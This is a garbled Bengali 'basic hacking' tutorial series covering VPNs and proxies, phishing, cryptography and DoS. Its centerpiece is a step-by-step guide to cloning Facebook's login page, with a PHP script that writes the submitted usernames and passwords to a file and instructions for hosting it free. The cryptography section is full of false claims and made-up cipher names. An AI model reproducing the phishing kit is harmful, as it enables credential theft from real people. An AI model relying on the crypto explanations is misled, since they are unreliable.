CCleaner হেছ বহু কােজর কািজ ! ĺটেɑারাির ফাইল , কƟাশ  িরমুভ করা ĺথেক আর হাজােরা কাজ করেত পাের CCleaner। CCleaner ডাউনেলাড করেত 
িǓক করুন এই িলেǦ । 

  

ʛিক িরমুভ করুন : 

আপিন হয়ত ĺরগুলার আপনার Ʒাউজার এর ʛিক িǓয়ার কেরন ।  িকˍ িকছু বǵাত ʛিক আেছ ĺযগুেলা আলাদা হেয় িনেজেক অনƟ িনরাপদ জায়গা ĺত ĺসভ কের 
রােখ ! এই বǵাত ĺƪাজান ʛিক গুেলা িরমুভ করার জনƟ আপনার Ƶেয়াজন Flash Cookie Remover । Flash Cookie Remover ডাউনেলাড করেত 
িǓক করুন এই িলেǦ ।  

  

  

  ২) অনলাইন িনরাপȑা     
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VPN (Virtual Private Network) : 

এ বƟাপাের উইিকেপিডয়া ĺত িবশাল একটা আǅŪ েকল আেছ । ওটা পরেত চাইেল িǓক করুন এই িলেǦ ।  

তেব সহজ ভাষায় এক  কথায় বলেত ĺগেল  VPN সুরিǘত একটা পȝিতর মধƟ িদেয় আপনার আইিপ লুিকেয় ĺযেকােনা ওেয়বসাইট এর সাভŪ ার এর সােথ আপনােক 
সংযুǏ কের ĺদয় অনƟ একটা সɑূণŪ িভȵ আইিপ ĺগাɵীর মাধƟেম । 

িবনামুেলƟর  VPN  গুেলার ডাউনেলাড িলǦ িনেচ িদিǱ । শুধু নামগুেলােত িǓক করেলই ওই  VPN  এর সɑিকŪত অিফিশয়াল ওেয়বেপজ ǅ ওেপন হেয় যােব  

  Cyberghost   
 HotSpot Shield 
 Pro XPN 
 Open VPN 

  

িবনামুেলƟর আর টাকা িদেয় ĺকনা িজিনেস অবশƟই পাথŪকƟ থাকেব । টাকা িদেয় িকনেত হয় এমন িকছু VPN  এর িলǦ িনেচ িদলাম । 

   nVPN 
 SwissVPN   

  

িনরাপদ Ʒাউজার বƟবহার করুন : 

এইকােজ হƟাকার ĺদর িƵয় নাম  Tor Browser । এটা ফায়ারফǙ এর মত ʛিক ĺসভ কের রােখ না , ইȥারেনট এǙেɀারার এর মত বƟাকেডার না । এটা সɑূণŪ 

িনরাপȑার িদেক দৃিɳ ĺরেখই Ļতির করা হেয়েছ । Tor ডাউনেলাড করেত এর অিফিশয়াল ওেয়বসাইট ĺথেক ঘুের আসুন এই িলেǦ িǓক কের 
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HTTP Proxies and SOCKS5 : 

HTTP Proxies and SOCKS5 অেনক িবʅািরত এবং িবশাল একটা িবষয় । ইনশাɨাহ ভিবষƟেত এই বƟাপাের  আিম িবʅািরত এবং সɑূণŪ একটা ǅউন করব 
। তেব সংেখেপ বলেল , সুরিǘত, িনিɪƲ  এবং সুসংগǇত একটা  সাভŪ ার এর সােথ ĺযাগােযাগ ও অেথনǅেকট সংেযাগ ʆাপন করার একধরেনর ইȥারেনট Ƶেটাকল 
হেǱ  SOCKS বা SOCKet Secure । এটা Ǔােয়ȥ এবং সাভŪ ার এর ĺভতর সংেযাগ ʆাপন ƵিতʆাȽ কের থােক । SOCKet Secure এর ৫ তা ĺলয়ার এর 

ĺভতর একটা  SOCKS5 ।   HTTP Proxie ও ĺমাটামুǅ এবং কােছর সমেগাƯীয় । এেদর উেțশƟ একই িকˍ কায ŪƵণালী খািনকটা আলাদা । 

HTTP Proxies and SOCKS5  এর িলʁ আেছ এমন কতগুেলা ওেয়বসাইট এর িলǦ িনেচ িদলাম । 

   Alive Proxy  
   Hide My Ass 
   Proxy list   

  

আরও িলʁ এর দরকার পড়েল ĺতা গুগল মামা পেড়ই আেছ  

  

িকছু ƵিǙ ওেয়বসাইট এর Ǉকানা ও িদেয় িদলাম এমন অেনক ওেয়বসাইট আেছ যা হয়ত আপনার ĺদশ অথবা কমŪʆল ĺথেক বƟান করা আেছ , অথবা শুধুমাƯ 
িনেজর পিরচয় ( আইিপ) ĺক লুকােনার  উেțেশ এই সব ƵিǙ সাইট বƟবহার করেত পােরন িনিɩেȭ  । 

 http://www.ninjacloak.com  
 http://www.hidemyass.com 
 http://go-between.me 
 http://ir2.me 
 http://rapidsurf.info  
 http://go-between.me 
 http://yourownproxy.info 
 http://proxy.co.cc 
 http://iknownothing.org 
 http://accessyouth.info 
 http://buwk.com 
 http://UnblockFree.net 
 http://hillofbeans.biz 
 http://aptunnel.com 
 http://goaheadmakemyday.org 
 http://lameproxy.info 
 http://centerfoldproxy.info 
 http://proxylist.co 
 http://sneaky9.com 
 http://freesurfproxy.com 
 http://goflyakite.org  
 http://fastieproxy.com 
 http://fastieproxy.com 
 http://ihaveacunningplan.info 
 http://schoolfreezone.com 
 http://proxify.net 
 http://passmethru.com 
 http://proxy2use.com 
 http://0001.cz.cc 
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বƟািসক হƟািকং পবŪ ৫ : িফিশং এর যাবতীয় খুঁǅনাǅ নািড়নǘƯ িবʅািরত । 
আজেকর পেব Ū আমরা আেলাচনা করব িফিশং িনেয় । ĺতা আসুন শুরু করা যাক  

  

 

  

Ƶথম Ƶɬ িফিশং িক ? 

িফিশং শɆ শুেনন িন অথবা এ সɑেকŪ  িকছুই জােনন না এমন মানুেষর সংখƟা ĺবাধহয় ǅউনার ĺপজ এ খুব ĺবশী একটা ĺনই ! তারপর ও আসুন ĺদিখ আিম 

আপনােদর নতুন িক িদেত পাির আজেকর ǅউন এ ইংেরিজ এর জাহাজ , ডুব জাহাজ রা হয়ত বলেবন িফিশং মােন মাছ ধরা িকˍ আসেলই িক তাই ? না ! 
দুেটার বানােনও িবʅর ফারাক আর বƟবহাের ĺতা আকাশ আর পাতাল এর পাথ ŪকƟ মাছ ধরা িফিশং এর বানান হেǱ  ”FISHING” আর আমােদর আেলাচƟ 

িফিশং এর বানান ” PHISHING” । পু ঁিথগত িবদƟা িক বেল আসুন ĺদেখ ĺনই  

উইিকেপিডয়া বেল , 

Phishing is a way of attempting to acquire information such as usernames, passwords, and credit card details by 
masquerading as a trustworthy entity in an electronic communication. 

অথŪাৎ , একটা িব˞াসেযাগƟ ইেলǊিনক ĺযাগােযাগ িমিডয়া এর রূপ বƟাবহার কের ইউজার ĺনম , পাসওয়াডŪ  , ĺƠিডট কাডŪ  এর সব তথƟ ইতƟািদ ĺবআইিন ভােব হািতেয় 
ĺনওয়া ĺক িফিশং বেল । 

সহজ ভাষায় বলেত ĺগেল , ধরুন ĺফসবুক এর ĺযেকােনা ইউজার এর    ইউজার ĺনম , পাসওয়াডŪ   ইতƟািদ  হািতেয় ĺনওয়ার জনƟ ĺবআইিন উপােয় আিম যিদ ĺফসবুক এর 
মতই ĺদখেত একটা লগইন ĺপজ বƟবহার কির তখন তােক িফিশং বেল িফিশং সাধারণত একটা ইেমইল এর মাধƟেম ছড়ােনা হেয় থােক । ĺযখােন ওই িনিদŪɳ ইেমইল 
এ ওই ইউজার ĺক বলা হয় সংিɮɳ সাইট এ ĺকান কারেন লগইন করেত এবং ĺসখােন লগইন িলǦ ও ĺদওয়া থােক । বলাই বাহুলƟ এই িলǦ আসল িলǦ না ! এটা 
আসল টার মত ĺদখেত একই রকম একটা  লগইন ĺপজ ĺযটার সাহােযƟ হƟাকার তার িভকǅম এর সব তথƟ চুির করার িনয়েত Ļতির কেরেছ । 

  

 পেরর Ƶɬ , িফিশং  এর  ইিতহাস িক ? 

এত  আেলািচত একটা  িবষয় িকˍ ১৯৯৫ সােলর আেগ এর ĺকান অিʅʲ ই িছল না ! থাকেলও তা জনসমেǘ আেস নাই । ১৯৯৫ সােল Ƶথম িফিশং এর অিʅʲ ধরা 
পড়েলও পরবতʗ এক দশক পযŪȭ এ সɑেকŪ  ĺকান জন সচতেনতা ও Ļতির হয় িন ! ইȥারেনট এর ĺরকডŪ  ঘাঁটেল জানা যায় , ১৯৯৬ সােলর ২ জানুয়াির Ƶথম 
পৃিথবীর মানুেষর সামেন িফিশং এর মুেখাশ উȶিচত হয় । alt.online-service.america-online নােমর একটা ইউজেনট িনউজʡপ Ƶথম এর অিʅʲ সɑেকŪ  

জানায় সবাইেক । তােদর তথƟ অনুযায়ী হƟািকং এর মত িফিশং এর ও উৎপিȑ আেমিরকা ĺত । America Online বা  AOL service  এ Ƶথম িফিশং এর 
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এবার আিস এর িবিচƯ বানােনর কােছ ! তখনকার সমেয় হƟাকার ĺদর ĺক  ইȥারেনট ও সংবাদমাধƟম গুেলা িƶক (PHREAK) বেল সে˘ািধত করত ! 
Phreaking  শেɆর আিভধািনক  অথŪ হেǱ  ĺটিলকিমউিনেকশন এর িবিভȵ িদক িনেয় গেবষণা , আিবɱার  ও পড়ােশানা ! এটা মূলত একটা ʎƟাং !  ওখান ĺথেকই 
হƟাকার ĺদর ĺক িƶক নামািǦত করা হয় , কারন তারা  ĺটিলকিমউিনেকশন এর িবিভȵ িদেক িছেলন ঝানু ওʅাদ িকˍ সবাই িছেলন আȨারƣাউȨ। তারাই ĺকউ Ƶথম 
িফিশং চালু কেরন ধারনা করা হয় । এবং ĺযেহতু িফিশং পুেরা ƵিƠয়া টাই অেনক টা মাছ ধরার ফাঁেদর মত টাই িƶক ĺদর “PH” এবং মাছ ধরার 
“ISHING”  টােক একসােথ ĺজাড়া িদেয় িফিশং(Phishing) শɆটার উৎপিȑ হয়  

বƟবহার , সময় , কাল ইতƟািদ ĺƵিǘেত হƟািকং এর িবিভȵ ĺটকিনক ও িƪক ĺক  ĺহায়াইট , ĺƣ বা ɉƟাক হƟািকং বলা হয়। িকˍ শুরু ĺথেকই িফিশং ĺক ɉƟাক হƟািকং ʡপ 
এ ĺফলা হেয়েছ । 

  

িফিশং এর িক ĺকান ধরণ আেছ ? থাকেল তা িক িক ? 

িজ, িফিশং এর িবিভȵ রূেপর ধরণ আেছ । আসুন ĺদেখ ĺনই িক িক : 

 Phishing :  সরাসির িফিশং করা ĺকই এই কƟাটাগির ĺত রাখা হেয়েছ । এেত ĺকান িনিদŪɳ টােগŪট / লǘƟ থােক না । গণহাের িফিশং করা এই  কƟাটাগির এর লǘƟ । 
 Spear Phishing :  একǅ িনিদŪɳ ʡপ বা মানুষেক টােগŪট কের িফিশং করা ĺক Spear Phishing বেল । 
 Clone Phishing : এটা হেছ , আেগই ইউজার ĺক ĺডিলভাির ĺদওয়া একটা িনিদŪɳ ইেমইল এর ĺǓান / ĺদখেত একই রকম একটা ইেমইল ĺযখােন সব এ আেগর মত 

থােক (িবষয়ব˥ , তথƟ ইতƟািদ ) শুধু  এটাচড  িলǦ টা হƟাকার এর Ļতির করা িফিশং িলǦ এর সােথ বদেল ĺদওয়া থােক । 

  

  

 

  

  

 Whaling :  ĺকান একটা কɑািন এর মাথা বা কতŪ াবƟিǏ ĺক ইনেফকট করার জনƟ পিরচািলত সব হƟািকং এই  কƟাটাগির এর অȭভুŪǏ । 
 Link manipulation : ĺযেকােনা অিরিজনাল িলǦ এর মতই ĺদখেত িকˍ সামানƟ বানােনর ĺহরেফর করা িলǦ গুেলা বƟবহার কের িফিশং করেল তখন টােক Link 

manipulation বেল । ĺযমন : ধরুন www.facebook.com এর Link manipulation হেত পাের www.faceb0Ok.com [ একটা "o"  এর ʆেল একটা 
"O" (zero) বƟবহার করা হেয়েছ ] !িনেচর িচƯ ǅ ĺদখুন ! 
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 Filter evasion :  ইেমইল সািভŪস ĺƵাভাইডার রা সবসময় িফিশং  ধরার জনƟ সব ইেমইল ĺক িফɝার কের থােক । এই িফɝার ĺক এড়ােনার জনƟ ĺটǙট ĺক এিড়েয় 
ছিব বƟাবহার কের ĺয িফিশং করা হয় টােক Filter evasion বেল । 

 Pop -up :  ধরুন আপিন একটা সাইট িভিজট করেছন । এমন সময় হঠাৎ কের যিদ একটা পপ আপ এেস আপনােক বেল লগইন করেত অথবা ĺকান ধরেনর তথƟ ĺশয়ার 

করেত তেব িনিɩত হেয় যান এটা Pop-up phishing । 
 Tabnabbing : এই ধরেনর িফিশং এ যখন আপিন একািধক টƟাব ওেপন করেবন তখন নীরেব ĺযেকােনা একটা টƟাব ĺক পালেট ইনেফকেটড বা িফিশং সাইট এ িনেয় 

যায় ! 
 Evil twins :   এ যাবত কােলর সব ĺথেক ভয়Ǧর িফিশং এটা ! িবিভȵ পাবিলক ĺɀস এ ĺযখােন ওয়াইফাই থােক , হƟাকার রা িনেজর একটা ওয়াইফাই ĺজান Ļতির কের 

। যখন ই ĺকউ ওই ওয়াইফাই ĺজান বƟবহার কের এর সােথ সংযুǏ হেব তখন ĺথেকই হƟাকার সব ধরেনর তথƟ চুির করা শুরু কের । 
 Phone Phishing  :  এটাও  অেনক চমকƵদ একটা িফিশং পȮা । হƟাকার  ইেমইল এর বদেল  একটা িনিদŪɳ  কɑািনর কাʁমার ĺকয়ার মƟােনজার অথবা অপােরটর 

িহেসেব িভকǅম ĺক কল কের এবং তার ĺথেক অতƟȭ চাতুেযŪর সােথ তার সব বƟিǏগত তথƟ হািতেয় ĺনয়  । 

পরবতʗ Ƶɬ িকভােব বুঝব ĺয আিম ĺযই সাইট ǅ িভিজট করিছ তা আসল নািক একটা িফিশং সাইট ? 

খুব চমৎকার এবং সবেথেক গুরুʲপূণ Ū Ƶɬ  উȑর হেǱ , িফিশং এর জনƟ ĺযসব সাইট ĺক টােগŪট করা হয় তার ĺবিশরভাগ সাভŪ ার আেথনǅেকশন বা পিরিচিত 

িনিɩতকরণ এর জনƟ Transport Layer Security (TLS) , Secure Sockets Layer (SSL) এবং খুব ই শিǏশালী িƠপেটাƣাফী বƟবহার কের থােক । 
সবিকছুর Ƶেয়ােগর উপর িনভŪ র কের একটা সাইট ĺক সাǅŪ িফেকট ĺদওয়া হয় । আপেডট করা এবং সবŪাধুিনক সব Ʒাউজার এ ĺযেকােনা ধরেনর িফিশং সাইট ĺক সনাǏ 
করেত পাের এবং টা ˰য়ংিƠয় ভােব ɉক ও কের ĺদয় । িকȭ তারপর ও আপিন িনেজও িকছু সতকŪ তা অবল˘ন করেত  পােরন । তার জনƟ িনেচর িচƯ দুেটা লǘƟ 
করুন  

 

 

  

উপেরর ছিব দুেটােত ĺদখােনা লǘণগুিল ĺখয়াল করুন আপনার Ʒাউজার এর অƟােƬস বাের । এবং সবসময় এর জনƟ িলǦ টা ĺখয়াল করুন । লǘƟ করুন সবসময় এর 
মত িলǦ টা িক আসল িলǦ নািক ĺদখেত একটু িভȵ ĺকান িলǦ । িভȵ িলǦ হেলই সাবধান এছাড়া আিম বলব ভালমােনর আপেডেটড ইȥারেনট িসʛƟিরǅ বƟবহার 
করেত । 
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 িমিলয়ন ডলার Ƶɬ িকভােব বানাব একটা িফিশং সাইট ? 

আিম শুরুেতই বেল ĺনই এটা শুধুমাƯ ĺশখার জনƟ বণŪনা করা হেছ । ĺকউ এটার ĺকানরূপ ʼংসাȕক বা ǘিতসাধন উেțেশ বƟবহার করেল তার জনƟ ǅউনার ĺপজ বা 
আিম ĺকানভােবই দায়ী থাকব না ধনƟবাদ । 

  

এবার আিম ধােপ ধােপ বণŪনা করব িকভােব আপিন একটা িফিশং সাইট বানােবন । উদাহরেণর জনƟ আমরা ĺফসবুক এর একটা িফিশং সাইট বানাব  

১ম ধাপ :  Ƶথেমই আপনার দরকার একটা  ĺহািʁং  ও একটা ĺডােমইন । এর জনƟ আমরা িƶ  ĺহািʁং  এ ĺরিজেʀশান করব । আিম এ 
ĺǘেƯ  000webhost  বƟবহার করব িƶ    ĺহািʁং  এর জনƟ ।  000webhost  এ ĺরিজেʀশান করেত িǓক করুন  এই িলেǦ ।  িনেচর িচেƯর মত ĺরিজেʀশান 
ĺপজ আসেল সব ডাটা িদেয় ĺরিজেʀশান করুন । এবং ইেমইল ĺভিরিফেকশন করুন । 

 

  

২য় ধাপ : এবার www.facebook.com এ যান এবং লগইন ĺপজ এ আসুন । এটা িনিɩত করুন ĺয আপিন লগ আউট করা এবং এটা ĺফসবুক এর লগইন ĺপজ 
।  এবার এই ĺপজ এর ĺযেকােনা জায়গায় রাইট িǓক কের View page source  এ িǓক করুন । 
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৩য় ধাপ :   View page source এ িǓক করেল িনেচর িচেƯর মত একটা টƟাব ওেপন হেব । এবার এই টƟাব এর সব িকছু ĺক Ctrl + A ĺচেপ িসেলǋ করুন 
এবং একটা ĺনাট পƟাড এ ĺপʁ করুন । এবার এটােক ĺসভ করুন Login.htm নােম । 

 

৪থŪ ধাপ : এবার িনেচর ĺদওয়া  ĺকাড ǅ আেরকǅ নতুন ĺনাটপƟাড ওেপন কের কিপ ĺপʁ করুন এবং এটােক  phish.php নােম ĺসভ করুন । 

<?php 
header ('Location: http://facebook.com '); 
 = fopen("passwords.txt", "a"); 
foreach(Array as => ) { 
fwrite(, ); 
fwrite(, "="); 
fwrite(, ); 
fwrite(, "rn"); 
} 
fwrite(, "rn"); 
fclose(); 
exit; 
?>  

৫ম ধাপ : এবার login.htm ĺক ওেপন করুন ĺনাটপƟাড িদেয় অথবা রাইট িǓক কের এিডট এ িǓক কের । এবার Ctrl + F  ĺচেপ 
বেǙ  action=”https://www.facebook.com/login.php িলখুন । এবার এই  লাইন টা ĺত  login.php এর জায়গায়  phish.php িলখুন এবং ĺসভ 
করুন ।  

৬ɵ ধাপ : এবার  http://members.000webhost.com/ এই িলেǦ যান এবং একটু আেগ বানােনা আপনার ƶী   ĺহািʁং অƟাকাউȥ এ লগ ইন করুন  
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৭ম ধাপ : লগইন হেয় ĺগেল Cpanel এ যান , ওখােন File manager  এ যান  

 

৮ম ধাপ : এবার Public_html এ িǓক করুন এর পর  আপ ĺলাড এ িǓক করুন এবং  phish.php ও  Login.htm ফাইল দুেটা আপেলাড করুন । বƟাস কাজ 

ĺশষ । এখন ĺয ĺকউ আপনার ওেয়বসাইট িভিসত করেল ĺস ˰য়ংিƠয় ভােব আপনার Ļতির করা িফিশং ĺপজ এ চেল যােব  

 

পরবতʗ  Ƶɬ , িফিশং সাইট ĺতা Ļতির করলাম িকˍ ইউজারেনম ও পাসওয়াডŪ  পাব িকভােব ?   

  

http://www.yoursitesadress.p4o.net/lol.html [ লǘƟ রাখুন এখােন অবশƟই   yoursitesadress  এর জায়গা ĺত আপনার Ļতির ĺডােমইন এর িলǦ 
িলখুন ] এইিলǦ এ যান এবং  লগইন করেলই ĺদখেত পারেবন িনেচর িচেƯর মত দৃশƟ  
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আজেকর মত এই িছল িফিশং িবষেয় িবʅািরত আেলাচনা । 
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বƟািসক হƟািকং পবŪ ৬ : Cryptography িক? এটা কীভােব কাজ কের? 
সɑূণŪ ǅউেটািরয়াল 
Hacking হেǱ এটা িবǷƟান [ অȭত আমার মেত :/ ] আপনার ĺযমন basic Ƿান না থাকেল উǮতর গিনত বা calculus একদম এ বুঝেত পারেবন না বা 
করেতই পারেবন না ĺসরকম hacking এ ও আপিন িবেশষ িকছু করেত পারেবন না যিদ না আপনার এেǉবাের basic hacking grammar জানা না থােক ! 
আিম এই ǅউন টা ĺত ĺচɳা করব একদম বািসক hacking grammar আপনােদর সােথ ĺশয়ার করার জনƟ। 

 

আজেক আিম CRYPTOGRAPHY, ENCRYPTION ও DECRYPTION িনেয় িলখব । অেনেকই হয়ত এতমেȝ এ ĺবপাের আমার ĺথেক ভােলা 
জােনন তেব যারা জােনন না তােদর জনƟ বিল আিম ĺমাটামুǅ িনিɪত আপিন যিদ একটঁু কɳ কের এবং মেনােযাগ সহকাের এই ǅউন টা পেরন তেব আিন এই ৩ টা 
িবষেয় ĺমাটামুǅ ধরেনর একজন িবশষǷ হেয় যােবন  

Cryptography : এসɑেকŪ  wikipedia বেল 

Cryptography (or cryptology; from Greek κρυπτός, “hidden, secret”; and γράφειν, graphein, “writing”, or -λογία, -logia, 
“study”, respectively) is the practice and study of techniques for secure communication in the presence of third parties 
(called adversaries). 

অথŪাৎ সংেǘেপ তথƟ ĺগাপন বা লুকােনার পȝিত ĺক cryptography বলা হয় । এটা আসেল এটা িবশাল িবǷান । এ বƟাপাের graduation certificate ও 
ĺদয়া হয় । 

Cipher:  ĺয algorithm বƟাবহার কের তথƟ বা ডাটা লুকান হয় বা লুকািয়ত ডাটা ĺক পুনরȝার করা হইয় তােক cipher বেল । 

Encryption: ĺকান algorithm বƟাবহার কের এটা ডাটা ĺক লুকােনার পȝিত ĺক encryption বেল । উদাহরণ িহেসেব বলা যায় Caeser Cipher . এটা 
পৃিথবীর Ƶথম cipher. এেক অেনেকই Shift Cipher বা ROT-13 বা Rotational Cipher বেল থােকন । এটার কা্যƵণালী হেǱ english alphabet এর 
অǘরগুেলা িবনƟাস কের তারপর ডাটা ĺক encrypt করা হয়। 
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এই ছিব ĺত ĺদখেত পােǱন অǘর বা alphabet গুেলা ĺক ৩ ঘর এগুেনা হেয়েছ । অথŪ াৎ M ĺক P , N ĺক Q এই রূেপ উপʆাপন করা হেয়েছ । এই পȝিত 
অনুসরণ কের জুিলয়াস িসজার এর encrypted নাম টা ĺখয়াল করেছন ? এটাই encryption এর উেțশƟ । 

Decryption: encrypted তথƟ ĺক ĺয পȝিত ĺত encrypt করা হেয়েছ তার ধাপগুল উেɝা ভােব অনুসরণ কের মূল ডাটা বা plain text ĺক উȝার করার 
পȝিত ĺক Decryption বেল । decrypt করেত অবশƟই এটা correct key ( encrypt করার ধাপ ও পȝিত ) লাগেব । correct key ছাড়া ডাটা উȝার 
করার সɕাবনা ĺক statistician রা বেল থােকন এক িƪিলয়ন বাের একবার ! ĺযটা ĺমাটামুǅ অসɕেবর কাছাকািছ :/ 

এগুেলা িছল মূল ধারনা গুেলা । আরও িকছু Ƶেয়াজনীয় ডাটা ও ĺজেন ĺনই  

Cryptographic Hash Functions: িƠেȹাƣািফক হƟাশ ফাংশন হেǱ একǅ িনণŪাšক পȝিত যার মধƟেম একǅ ডাটা/plain text হেত অবাধ ɉক/ 
arbitrary block of data রূেপ রুপাȭিরত হয় । মেন রাখেত হেব এটা িকˍ encryption না িকˍ encryption করার পȝিত । 

 

Hexadecimal:  hexadecimal হেǱ একটা Cryptographic Hash Functions । ĺযখােন মাƯ ১৬ টা কƟােরǋার বƟাবহার করা হয় ডাটা 

encrypt/decrypt করার সময় । এই ১৬ টা কƟােরǋার হেǱ 0-9 ও A-F । এটা একটা 128 bit / 16byte এর hash value . এেক Base-16 ও বলা 

হেয় থােক ।সব ĺথেক জনিƵয় hexadecimal hash value হেǱ MD5 । 

Base 32 :: Base 32 হেǱ ৩২ কƟােরǋার এর hash value। এেত A-Z ও 2-7 কƟােরǋার গুেলা বƟাবহার করা হয় । একটা উদাহরণ হেǱ 
d41d8cd98f00b204e9800998ecf8427e 

Base 64 : Base 64 আরও একটা Hash value । এেত A-Z , 0-9 এবং িকছু িবেশষ িস˘ল ববহার করা হয়। Base 64 সবসময় “=” দারা ĺশষ হয় , 
উদাহরণ ◌ঃ 1B2M2Y8AsgTpgAmY7PhCfg== 

Collisions : যখন ২ টা আলাদা আলাদা hash value এর এিক রকম encryption হেব তখন তা server এ িবƸািȭর সৃিɳ কের । এই িবƸািȭ ĺক 
collisions বলা হয় ।এটা আসেল hacker ĺদর জনƟ আশীবŪাদ । তারা এটােক ভালেবেস “God mode birthday attack ” বেল থােক । collisions হেল 
server hang ĺথেক crash ও করেত পাের । উদাহরণ ◌ঃ 
মেন করুন ABDUL শɆǅর encryption হেǱ ◌ঃ 9b306ab04ef5e25f9fb89c998a6aedab 
আবার ধরুন FREAK শɆǅর encryption হেǱ ◌ঃ 9b306ab04ef5e25f9fb89c998a6aedab 

ভােলা কের ĺখয়াল কের ĺদখেবন দুইǅ encryption এ হুবহু একই রকম । এটােক collisions বলা হয়। সাধারনত অেনক বড় বড় server এ এই ধরেনর সমসƟা 
ĺদখা যায় । 

SALT: Salt হেǱ hacker ĺদর দঃ˰Ƚ । িবেশষত AI upgraded server গুেলােত SALT ĺদখা যায় । ĺযেকােনা ডাটা ĺক আর সুরিǘত করার উেțেশ 
একটা encrypted লাইন এর ĺশেষ আর কে̫কটা কƟােরǋার ĺযাগ কের ĺদওয়া ĺক SALT/ SALTING বেল । SALTING করা ĺয ĺকান ডাটা Decrypt 
করা এেকবােরই অশɕব ĺযমন ধরুন “1sf5651etg64sfg” হেǱ একটা encrypted data.এখন এর ĺশষ এ যিদ য়ার ২-৩ টা কƟােরǋার ĺযমন ud7 ĺযাগ 
কের ĺদই তাহেল ওটা decrypt করার সাȝ দুিনয়ার কােরা হেব না । ĺকান Super Computer ও পারেব না ! 

এটা ডাটা decrypt করেত হেল তার কী দরকার । যিদ কী এবং encrypted ডাটা ĺদওয়া থােক তেব তা decrypt করা একদম এ সহজ। কী সাধারনত ĺয 
sequence এ encrypt করা হয় তার উেɨখ। ĺযমন ধরুন আমােদর একটা encrypted ডাটা ĺদওয়া আেছ । ডাটা ǅ িনɎরুপ ◌ঃ 
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হƟািকং িশখুন িনেজেক রǘা করার জনƟ অেনƟর ǘিত করার জনƟ নয় 

3AcTBJCzggwY3LCyzIhJBJhtzewSA+5dyuQhaKcDzI3agWCRz+YC3OZMCdyG এবং এর কী হেǱ BASE-64 –> 
FERON-74 –> GILA 7 

অথŪাৎ ডাটা ǅ যাই হক না ĺকন তা Ƶথেম BASE-64 এ encrypt করা হেয়েছ । পেরর ধােপ BASE-64 ĺথেক Ƶাȼ encrypted ডাটা ĺক FERON-74 
এ আবার encrypt করা হেয়েছ । ĺসটােক পের GILA 7 এ encrypt করা হেয়েছ এবং সবŪেশষ encrypted ডাটা টাই আমােদর Ƶদȑ ডাটা ǅ। এখন এটােক 
decrypt করেত হেল আমােদর ĺক encryption এর ধাপ গুেলা Ǉক উেɝা ভােব বƟাবহার করেত হেব । অথŪাৎ Ƶদȑ ডাটা ĺক Ƶথেম GILA 7 এ decrypt 
করেত হেব । আরা ধােপ ধােপ কাজ ǅ সাির । ডাটা encrypt/decrypt করার জনƟ অেনক ওেয়বসাইট পাওয়া যায় তেব আিম http://www.crypo.com/ 
সাইট টাই বƟাবহার কের শািȭ ĺবশী পাই আসুন কাজ শুরু কের ĺদই । 

১)Ƶদȑডাটা অথŪাৎ 3AcTBJCzggwY3LCyzIhJBJhtzewSA+5dyuQhaKcDzI3agWCRz+YC3OZMCdyG Ƶথেম আমরা GILA 7এ 
decrypt করব । decrypt করেল ĺয ডাটা তা পাই তা হেǱ uRC0CTM6qvsPRnD0NKSFBTl3Azy8RZRgNLsbPlMvPc74 

২) এবার এটােক FERON-74 এ decrypt কের পাই YW1pJTIwZWtqb24lMjBiYW5nbGFkZWhp 

৩) সবŪ েশষ ধাপ । Ƶাȼ decrypted ডাটা ĺক এখন BASE-64 এ decrypt করেলই আরা আসল ডাটা টা ĺপেয় যাব। কারন এটাই কী এর Ƶথম/ terminal 
hash value. কথা না বািড়েয় আসুন decrypt কের ĺদিখ আসল ডাটা টা িক  

৪) decrypt করার পর আমরা পাই ami ekjon bangladehi ! 

মজা তাই না ? ^_^ 

 

এগুলই িছল cryptography এর উপর এেকবাের দরকাির basic ধারনা গুেলা । এখন আিম িনেচ ২ টা encrypted ডাটা িদব । correct key 
/encryption sequence ও িদেয় িদব । আপনারা ĺচɳা কের ĺদখুন ĺতা ডাটা গুেলা decrypt করেত পােরন িকনা ? পারেল comment এ উȑর িলখুন । 

[encrypteddata1] s+/YrnabNF/0q699ALypuvMf6RsnebxWuTlVBYwjAuDprL8veX9DQcs+qZ7jr6/b 

Correct key : MEGAN-35 –> GILA7 –>FERON-74 

[encrypted data 2 ] 
k2nPkvWydInxRM0/jZj1nMmqmvOPlMmxn+fxnxjhlKjGm29dn1S1lvXUeIWyjuKXo2C7exiyo/i7oLjRj2OAjLiwofOz
lx1Yk2nPktGdk1j6ju07RKS6fuK8ode5 

Correct Key : BASE-64 –> TRIPO – 5 –> HAZZ-15 –> MEGAN35 
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বƟািসক হƟািকং পবŪ -৭: DoS িক ? DoS অƟাটাক িক ĺকন িকভােব ? 
বƟািসক হƟািকং এর ৭ম পবŪ এবং এ পেবŪ আমরা আেলাচনা করব DoS , DDoS attack  এগুেলা িনেš বরাবেরর মতই িবʅািরত ভােব । 

 

 

Ƶথম Ƶɬ DoS  িজিনস টা িক ? DDoS এবং DoS  িক একই িজিনস ?  

DoS এর পিরপূণŪ রূপ হেǱ Denial of Service । DoS অƟাটাক এ একটা িপিস অথবা একটা ইȥারেনট কােনকশন [ অƟাটাকার ] ĺথেক একটা িনিদŪɳ সাভŪ ার 
[ িভকǅম ] এ অনবরত [ Ƀািডং ] TCP / UDP  পƟােকট পাঠােনা হš । এেত কের ওই িনিদŪɳ সাভŪ ার এর বƟাȨউইথ এবং অনƟানƟ সবিকছু ওভারেলাড হেš যাš 
। ফলাফল ? এর পর ĺযই ওই সাভŪ ার এ কােনকশন করার ĺচɳা করেব ,  তােকই সাভŪ ার সািভŪ স ĺদওšা ĺথেক িবরত থাকেব ! অথŪাৎ ĺসাজাসুিজ Denial of 
Service হেব সাভŪ ার ĺথেক ! 

এবার DDoS । এটার পূণŪ রূপ হেǱ Distributed Denial of Service ।  বƟাপার টা এভােব িচȭা করুন … আপিন রাʅা িদেš ĺহঁেট যােǱন হঠাৎ কের 
আপনােক একজন িছনতাইকারী আƠমন করেলা ! এখন আপিন যিদ গােš গতের তার ĺথেক একটু শিǏশালী হেš থােকন এবং ভাগƟ খািনক টা সুƵসȵ হেš থাকেল 
আপিন উলেটা ওই িছনতাইকারী ĺক িপǅেš তǏা বািনেš িদেš পােরন । িকˍ যিদ আপনােক ১ জেনর জাšগা ĺত ১০ -১২ জন আƠমন কের ? ১৫ িদন পর 
হাসপাতাল ĺথেক ছাŔা পােবন Ǉক এরকম বƟাপার ই হেǱ DDoS । DoS এর মত কেরই কাজ কের িকˍ DDoS এ অেনক ĺবশী অƟাটাকার একসােথ কাজ 
কের । ফলাফল ভšাবহ ! 

  

